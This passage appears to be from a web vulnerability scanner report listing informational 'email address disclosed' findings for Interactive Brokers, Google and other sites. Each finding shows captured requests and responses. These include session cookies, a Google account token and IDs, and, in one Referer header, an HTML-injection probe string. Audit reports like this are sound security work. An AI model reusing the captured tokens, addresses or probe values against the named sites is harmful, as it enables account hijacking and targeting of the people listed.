if(_tvb("true",e)){var Ta={g:_tvv("1"),d:_tvv(""),e:"test@fastdial.net",m:"fastdial.net",p:"//lh5.googleusercontent.com/-V_veHrrsDKY/AAAAAAAAAAI/AAAAAAAAAAA/XUAjI0bxyLA/s96-c/photo.jpg",xp:_tvv("1"),mg:"%1$s (delegated)",md:"%1$s (default)"};v.prf=Ta}
function Ua(){funct
...[SNIP]...
<span id=gbi4m1>test@fastdial.net</span>
...[SNIP]...
<span class=gbps2>test@fastdial.net</span>
...[SNIP]...

20.13. http://www.efutures.com/account/submitapp.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.efutures.com
Path:	/account/submitapp.php

Issue detail

The following email address was disclosed in the response:

trade@efutures.com

Request

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:42:49 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/4.3.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 5586

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<a href="mailto:trade@efutures.com">trade@efutures.com</a>
...[SNIP]...

20.14. http://www.farrdirect.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.farrdirect.com
Path:	/

Issue detail

The following email address was disclosed in the response:

Traders@FarrDirect.com

Request

Response

20.15. http://www.google.com/advanced_search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/advanced_search

Issue detail

The following email address was disclosed in the response:

test@fastdial.net

Request

GET /advanced_search HTTP/1.1
Host: www.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:28 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Server: gws
X-XSS-Protection: 1; mode=block
Connection: close

<!doctype html><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Google Advanced Search</title><style id=gstyle>html{overflow-y:scroll}div,td,.n a,.n a:visited{colo
...[SNIP]...
on(){m.prm&&m.prm()},Ta=function(a){s("m",function(){m.spn(a)})},Ua=function(a){s("m",function(){m.spp(a)})};n("spn",Ta);n("spp",Ua);Aa("gbd4",Sa);
if(_tvb("true",e)){var Va={g:_tvv("1"),d:_tvv(""),e:"test@fastdial.net",m:"fastdial.net",p:"//lh4.googleusercontent.com/-V_veHrrsDKY/AAAAAAAAAAI/AAAAAAAAAAA/XUAjI0bxyLA/s96-c/photo.jpg",xp:_tvv("1"),mg:"%1$s (delegated)",md:"%1$s (default)"};o.prf=Va}
if(_tvv("1")&&_tvv(
...[SNIP]...
<span id=gbi4m1>test@fastdial.net</span>
...[SNIP]...
<span class=gbps2>test@fastdial.net</span>
...[SNIP]...

20.16. http://www.google.com/finance previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/finance

Issue detail

The following email address was disclosed in the response:

test@fastdial.net

Request

GET /finance HTTP/1.1
Host: www.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 08 Sep 2011 19:47:24 GMT
Expires: Thu, 08 Sep 2011 19:47:24 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<!DOCTYPE html><html><head><script>(function(){function a(c){this.t={};this.tick=function(c,e,b){b=b!=void 0?b:(new Date).getTime();this.t[c]=[b,e]};this.tick("start",null,c)}var d=new a;window.jstimi
...[SNIP]...
on(){m.prm&&m.prm()},Ra=function(a){y("m",function(){m.spn(a)})},Sa=function(a){y("m",function(){m.spp(a)})};n("spn",Ra);n("spp",Sa);za("gbd4",Qa);
if(_tvb("true",e)){var Ta={g:_tvv("1"),d:_tvv(""),e:"test@fastdial.net",m:"fastdial.net",p:"//lh4.googleusercontent.com/-V_veHrrsDKY/AAAAAAAAAAI/AAAAAAAAAAA/XUAjI0bxyLA/s96-c/photo.jpg",xp:_tvv("1"),mg:"%1$s (delegated)",md:"%1$s (default)"};v.prf=Ta}
function Ua(){funct
...[SNIP]...
<span id=gbi4m1>test@fastdial.net</span>
...[SNIP]...
<span class=gbps2>test@fastdial.net</span>
...[SNIP]...
<script>var googlefinance = {i: ["f.b.id","Google Finance: Stock market quotes, news, currency conversions \u0026 more",0,0,"RV\u003d:ED\u003dus",0,"test@fastdial.net",["f.b.cf","XM1n5UOGucg.en_US.",0]
,[]
,0]
};</script>
...[SNIP]...

20.17. http://www.google.com/preferences previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/preferences

Issue detail

The following email address was disclosed in the response:

test@fastdial.net

Request

GET /preferences HTTP/1.1
Host: www.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:26 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Server: gws
X-XSS-Protection: 1; mode=block
Connection: close

<!doctype html><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Preferences</title><style>body,td,div,.p,a{font-family:arial,sans-serif}.ts{border-collapse:collaps
...[SNIP]...
on(){m.prm&&m.prm()},Ta=function(a){s("m",function(){m.spn(a)})},Ua=function(a){s("m",function(){m.spp(a)})};n("spn",Ta);n("spp",Ua);Aa("gbd4",Sa);
if(_tvb("true",e)){var Va={g:_tvv("1"),d:_tvv(""),e:"test@fastdial.net",m:"fastdial.net",p:"//lh4.googleusercontent.com/-V_veHrrsDKY/AAAAAAAAAAI/AAAAAAAAAAA/XUAjI0bxyLA/s96-c/photo.jpg",xp:_tvv("1"),mg:"%1$s (delegated)",md:"%1$s (default)"};o.prf=Va}
if(_tvv("1")&&_tvv(
...[SNIP]...
<span id=gbi4m1>test@fastdial.net</span>
...[SNIP]...
<span class=gbps2>test@fastdial.net</span>
...[SNIP]...

20.18. http://www.google.com/quality_form previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/quality_form

Issue detail

The following email address was disclosed in the response:

test@fastdial.net

Request

GET /quality_form HTTP/1.1
Host: www.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 08 Sep 2011 19:47:30 GMT
Server: gws
Cache-Control: private
X-XSS-Protection: 1; mode=block
Connection: close

<!doctype html><head><meta http-equiv=content-type content="text/html; charset=UTF-8"><title>Google Search</title><script>window.google={kEI:"0htpTtfEBofiiAK1vI2dDg",getEI:function(a){var b;while(a&&!
...[SNIP]...
on(){m.prm&&m.prm()},Ta=function(a){s("m",function(){m.spn(a)})},Ua=function(a){s("m",function(){m.spp(a)})};n("spn",Ta);n("spp",Ua);Aa("gbd4",Sa);
if(_tvb("true",e)){var Va={g:_tvv("1"),d:_tvv(""),e:"test@fastdial.net",m:"fastdial.net",p:"//lh4.googleusercontent.com/-V_veHrrsDKY/AAAAAAAAAAI/AAAAAAAAAAA/XUAjI0bxyLA/s96-c/photo.jpg",xp:_tvv("1"),mg:"%1$s (delegated)",md:"%1$s (default)"};o.prf=Va}
if(_tvv("1")&&_tvv(
...[SNIP]...
<span id=gbi4m1>test@fastdial.net</span>
...[SNIP]...
<span class=gbps2>test@fastdial.net</span>
...[SNIP]...

20.19. http://www.google.com/reader/view/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/reader/view/

Issue detail

The following email address was disclosed in the response:

test@fastdial.net

Request

GET /reader/view/ HTTP/1.1
Host: www.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
X-Reader-Google-Version: 546-000
X-Reader-User: 17465033393070012425
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Thu, 08 Sep 2011 19:47:24 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html>
<head><meta http-equiv="X-UA-Compatible" content="chrome=
...[SNIP]...
<script type="text/javascript">var
_USER_ID = "17465033393070012425",
_USER_NAME = "RTFM",
_USER_PROFILE_ID = "108833413051392189817",
_USER_EMAIL = "test@fastdial.net",
_IS_BLOGGER_USER = false,
_SIGNUP_TIME_SEC = 0,
_COMMAND_TOKEN = "//MIKfbI-TofM72FoM9K3kQA",
_PUBLIC_USERNAME = null,
_IS_MULTILOGIN_ENABLED = false,
_LOGIN_URL = "https://www.google.com/accounts/Se
...[SNIP]...
on(){m.prm&&m.prm()},Qa=function(a){y("m",function(){m.spn(a)})},Ra=function(a){y("m",function(){m.spp(a)})};n("spn",Qa);n("spp",Ra);ya("gbd4",Pa);
if(_tvb("true",e)){var Sa={g:_tvv("1"),d:_tvv(""),e:"test@fastdial.net",m:"fastdial.net",p:"//lh5.googleusercontent.com/-V_veHrrsDKY/AAAAAAAAAAI/AAAAAAAAAAA/XUAjI0bxyLA/s96-c/photo.jpg",xp:_tvv("1"),mg:"%1$s (delegated)",md:"%1$s (default)"};v.prf=Sa}
function Ta(){funct
...[SNIP]...
<span id=gbi4m1>test@fastdial.net</span>
...[SNIP]...
<span class=gbps2>test@fastdial.net</span>
...[SNIP]...

20.20. http://www.google.com/support/websearch/bin/answer.py previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/support/websearch/bin/answer.py

Issue detail

The following email address was disclosed in the response:

test@fastdial.net

Request

GET /support/websearch/bin/answer.py HTTP/1.1
Host: www.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
Date: Thu, 08 Sep 2011 19:47:27 GMT
Expires: Thu, 08 Sep 2011 19:47:27 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang=""
class="">
<head>
<pre style="font-size: 0;display: none;visibility: hidden;">

</pre>
<script
...[SNIP]...
<strong>test@fastdial.net</strong>
...[SNIP]...

20.21. http://www.google.com/webhp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/webhp

Issue detail

The following email address was disclosed in the response:

test@fastdial.net

Request

GET /webhp HTTP/1.1
Host: www.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:22 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Server: gws
X-XSS-Protection: 1; mode=block
Connection: close

<!doctype html><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><meta name="description" content="Search the world's information, including webpages, images, videos a
...[SNIP]...
on(){m.prm&&m.prm()},Ta=function(a){s("m",function(){m.spn(a)})},Ua=function(a){s("m",function(){m.spp(a)})};n("spn",Ta);n("spp",Ua);Aa("gbd4",Sa);
if(_tvb("true",e)){var Va={g:_tvv("1"),d:_tvv(""),e:"test@fastdial.net",m:"fastdial.net",p:"//lh4.googleusercontent.com/-V_veHrrsDKY/AAAAAAAAAAI/AAAAAAAAAAA/XUAjI0bxyLA/s96-c/photo.jpg",xp:_tvv("1"),mg:"%1$s (delegated)",md:"%1$s (default)"};o.prf=Va}
if(_tvv("1")&&_tvv(
...[SNIP]...
<span id=gbi4m1>test@fastdial.net</span>
...[SNIP]...
<span class=gbps2>test@fastdial.net</span>
...[SNIP]...

20.22. http://www.interactivebrokers.com/download/en/ASX_ETF_March_09.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/ASX_ETF_March_09.pdf

Issue detail

The following email address was disclosed in the response:

nswanson@interactivebrokers.com

Request

GET /download/en/ASX_ETF_March_09.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

20.23. http://www.interactivebrokers.com/download/en/ASX_IB_Options_March_17.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/ASX_IB_Options_March_17.pdf

Issue detail

The following email address was disclosed in the response:

nswanson@interactivebrokers.com

Request

GET /download/en/ASX_IB_Options_March_17.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

20.24. http://www.interactivebrokers.com/download/en/ASX_Index_Futures_FO_March.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/ASX_Index_Futures_FO_March.pdf

Issue detail

The following email address was disclosed in the response:

nswanson@interactivebrokers.com

Request

GET /download/en/ASX_Index_Futures_FO_March.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

20.25. http://www.interactivebrokers.com/download/en/CME_Trading_Related_Markets_Equities_Gold.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/CME_Trading_Related_Markets_Equities_Gold.pdf

Issue detail

The following email address was disclosed in the response:

ctomain@interactivebrokers.com

Request

GET /download/en/CME_Trading_Related_Markets_Equities_Gold.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:52:03 GMT
Server: Apache
Last-Modified: Thu, 21 Jan 2010 20:54:42 GMT
ETag: "ce403c-18ea18-e9806880"
Accept-Ranges: bytes
Content-Length: 1632792
Connection: close
Content-Type: application/pdf

%PDF-1.4%....
1057 0 obj<</Linearized 1/L 1632792/O 1060/E 336085/N 25/T 1611603/H [ 674 862]>>endobj
xref
1057 18
0000000016 00000 n
0000001741 00000 n
0000002088 00000 n
000000223
...[SNIP]...
</URI(mailto:ctomain@interactivebrokers.com)/S/URI>
...[SNIP]...

20.26. http://www.interactivebrokers.com/download/en/ISE_FX_Greeks_121207.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/ISE_FX_Greeks_121207.pdf

Issue detail

The following email addresses were disclosed in the response:

Smeizinger@iseoptions.com
smeizinger@ise.com

Request

GET /download/en/ISE_FX_Greeks_121207.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:51:39 GMT
Server: Apache
Last-Modified: Wed, 12 Dec 2007 13:47:40 GMT
ETag: "ce400c-7466e-12a99700"
Accept-Ranges: bytes
Content-Length: 476782
Connection: close
Content-Type: application/pdf

%PDF-1.4%....
3366 0 obj<</Linearized 1/L 476782/O 3369/E 67329/N 81/T 409413/H [ 673 989]>>endobj
xref
3366 18
0000000016 00000 n
0000001900 00000 n
0000002247 00000 n
000000239
...[SNIP]...
</URI(mailto:Smeizinger@iseoptions.com)/S/URI>
...[SNIP]...
</URI(mailto:smeizinger@ise.com)/S/URI>
...[SNIP]...

20.27. http://www.interactivebrokers.com/download/en/ISE_FX_Options.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/ISE_FX_Options.pdf

Issue detail

The following email address was disclosed in the response:

smeizinger@ise.com

Request

GET /download/en/ISE_FX_Options.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:51:08 GMT
Server: Apache
Last-Modified: Mon, 26 Jan 2009 13:58:45 GMT
ETag: "ce404f-548d5-2313cf40"
Accept-Ranges: bytes
Content-Length: 346325
Connection: close
Content-Type: application/pdf

%PDF-1.4%....
3538 0 obj<</Linearized 1/L 346325/O 3541/E 66327/N 69/T 275516/H [ 632 783]>>endobj
xref
3538 16
0000000016 00000 n
0000001658 00000 n
0000002005 00000 n
000000215
...[SNIP]...
</URI(mailto:smeizinger@ise.com)/S/URI>
...[SNIP]...

20.28. http://www.interactivebrokers.com/download/en/PHLX_IB012908jc.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/PHLX_IB012908jc.pdf

Issue detail

The following email address was disclosed in the response:

info@blackswantrading.com

Request

GET /download/en/PHLX_IB012908jc.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

20.29. http://www.interactivebrokers.com/download/en/SGX-Asian_Option_opportunity.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/SGX-Asian_Option_opportunity.pdf

Issue detail

The following email address was disclosed in the response:

products@sgx.com

Request

GET /download/en/SGX-Asian_Option_opportunity.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:51:02 GMT
Server: Apache
Last-Modified: Fri, 03 Apr 2009 15:29:27 GMT
ETag: "ce4006-891cf-36d043c0"
Accept-Ranges: bytes
Content-Length: 561615
Connection: close
Content-Type: application/pdf

%PDF-1.4%....
2225 0 obj<</Linearized 1/L 561615/O 2228/E 46267/N 22/T 517066/H [ 775 866]>>endobj
xref
2225 23
0000000016 00000 n
0000001862 00000 n
0000002209 00000 n
000000235
...[SNIP]...
</URI(mailto:products@sgx.com)/S/URI>
...[SNIP]...

20.30. http://www.interactivebrokers.com/en/accounts/advisors/employeeTrackMain.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/advisors/employeeTrackMain.php

Issue detail

The following email address was disclosed in the response:

employeetrack@interactivebrokers.com

Request

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:00 GMT
Server: Apache
Content-Length: 42834
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>IB EmployeeTrack Compliance Reporting</title>
<meta name=
...[SNIP]...
<a href="mailto:employeetrack@interactivebrokers.com">employeetrack@interactivebrokers.com</a><a href="employeetrack@interactivebrokers.com">
...[SNIP]...

20.31. http://www.interactivebrokers.com/en/general/education/webinars.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/webinars.php

Issue detail

The following email address was disclosed in the response:

webinars@interactivebrokers.com

Request

GET /en/general/education/webinars.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:05 GMT
Server: Apache
Content-Length: 53225
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Live Web
...[SNIP]...
<a href="mailto:webinars@interactivebrokers.com?subject=IB%20Webinars%20Feedback">
...[SNIP]...

20.32. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The following email address was disclosed in the response:

ibanalyst@interactivebrokers.com

Request

GET /en/p.php?f=daily_analysis HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

20.33. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The following email addresses were disclosed in the response:

kfischer@interactivebrokers.com
memberpricing@interactivebrokers.com

Request

Response

20.34. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The following email address was disclosed in the response:

tac@interactivebrokers.com

Request

GET /en/p.php?f=tws&p1=papertrader HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

20.35. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The following email addresses were disclosed in the response:

newaccounts.uk@interactivebrokers.co.uk
newaccounts@interactivebrokers.com
newaccountsjp@interactivebrokers.com

Request

GET /en/p.php?f=customerService&ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:30 GMT
Server: Apache
Content-Length: 419162
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Customer
...[SNIP]...
<a href="mailto:newaccounts@interactivebrokers.com">newaccounts@interactivebrokers.com</a>
...[SNIP]...
<a href="mailto:newaccounts.uk@interactivebrokers.co.uk">newaccounts.uk@interactivebrokers.co.uk</a>
...[SNIP]...
<a href="mailto:newaccountsjp@interactivebrokers.com">newaccountsjp@interactivebrokers.com</a>
...[SNIP]...

20.36. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The following email address was disclosed in the response:

surveillance@interactivebrokers.com

Request

Response

20.37. http://www.interactivebrokers.com/en/software/systemStatus.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/systemStatus.php

Issue detail

The following email address was disclosed in the response:

tac@interactivebrokers.com

Request

GET /en/software/systemStatus.php HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:01 GMT
Server: Apache
Content-Length: 40161
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Current
...[SNIP]...
<a href="mailto:tac@interactivebrokers.com">tac@interactivebrokers.com</a>
...[SNIP]...

20.38. https://www.interactivebrokers.com/Universal/Templates/javascript/sha1.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.interactivebrokers.com
Path:	/Universal/Templates/javascript/sha1.js

Issue detail

The following email address was disclosed in the response:

tjw@cs.stanford.edu

Request

GET /Universal/Templates/javascript/sha1.js HTTP/1.1
Host: www.interactivebrokers.com
Connection: keep-alive
Referer: https://www.interactivebrokers.com/Universal/servlet/formWelcome?p=100&atype=IT&b=T&ft=ft1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=54D71E83ABB03FD58EA41BA2BB7B8355.www3; ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:37:50 GMT
Server: Apache
Last-Modified: Wed, 31 Aug 2011 14:33:00 GMT
ETag: "4982c0-10e1-148bf00"
Accept-Ranges: bytes
Content-Length: 4321
Connection: close
Content-Type: application/x-javascript

/*
* A JavaScript implementation of the Secure Hash Algorithm, SHA-1, as defined
* in FIPS PUB 180-1
* Copyright (C) Paul Johnston 2000.
* See http://pajhome.org.uk/site/legal.html for details.
*/
/*
* Modified by Tom Wu (tjw@cs.stanford.edu) for the
* XYZ JavaScript implementation.
*/

/*
* Convert a 32-bit number to a hex string with ms-byte first
*/
var hex_chr = "0123456789abcdef";
function hex(num)
{
var str = "";

...[SNIP]...

20.39. https://www.interactivebrokers.com/Universal/Templates/jquery.bgiframe.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.interactivebrokers.com
Path:	/Universal/Templates/jquery.bgiframe.js

Issue detail

The following email address was disclosed in the response:

brandon.aaron@gmail.com

Request

GET /Universal/Templates/jquery.bgiframe.js HTTP/1.1
Host: www.interactivebrokers.com
Connection: keep-alive
Referer: https://www.interactivebrokers.com/Universal/servlet/formWelcome?p=100&atype=IT&b=T&ft=ft1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=54D71E83ABB03FD58EA41BA2BB7B8355.www3; ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:37:49 GMT
Server: Apache
Last-Modified: Wed, 31 Aug 2011 14:33:00 GMT
ETag: "4982c5-130f-148bf00"
Accept-Ranges: bytes
Content-Length: 4879
Connection: close
Content-Type: application/x-javascript

/* Copyright (c) 2006 Brandon Aaron (http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-li
...[SNIP]...
ided so that one could change
*        the src of the iframe to whatever they need.
*        Default: "javascript:false;"
*
* @name bgiframe
* @type jQuery
* @cat Plugins/bgiframe
* @author Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
*/
$.fn.bgIframe = $.fn.bgiframe = function(s) {
   // This is only for IE6
   if ( $.browser.msie && /6.0/.test(navigator.userAgent) ) {
       s = $.extend({
           top : 'auto',
...[SNIP]...

20.40. https://www.interactivebrokers.com/sso/Login previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.interactivebrokers.com
Path:	/sso/Login

Issue detail

The following email address was disclosed in the response:

ibtradingolympiad@interactivebrokers.com

Request

GET /sso/Login?actiongetProps=getProps&language=en&propFile=SSO_Login_v1 HTTP/1.1
Host: www.interactivebrokers.com
Connection: keep-alive
Referer: https://www.interactivebrokers.com/sso/Login?forwardTo=1d4554%22%3E%3Ca%20b%3dc%3E858eb6fd52c
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/plain, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=08546737D95F44C0653B32581EDE3A9E.wwwsso3; ib=googlead; web=1059282; XYZAB_AM.LOGIN=; XYZAB=; URL_PARAM=forwardTo=1d4554a20b3dc858eb6fd52c

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:52:38 GMT
Server: Apache
Pragma: No-cache
Cache-Control: no-cache
Expires: Wed, 31 Dec 1969 19:00:00 EST
Set-Cookie: XYZAB_AM.LOGIN=; Domain=.interactivebrokers.com; Path=/; Secure
Set-Cookie: XYZAB=; Domain=.interactivebrokers.com; Path=/; Secure
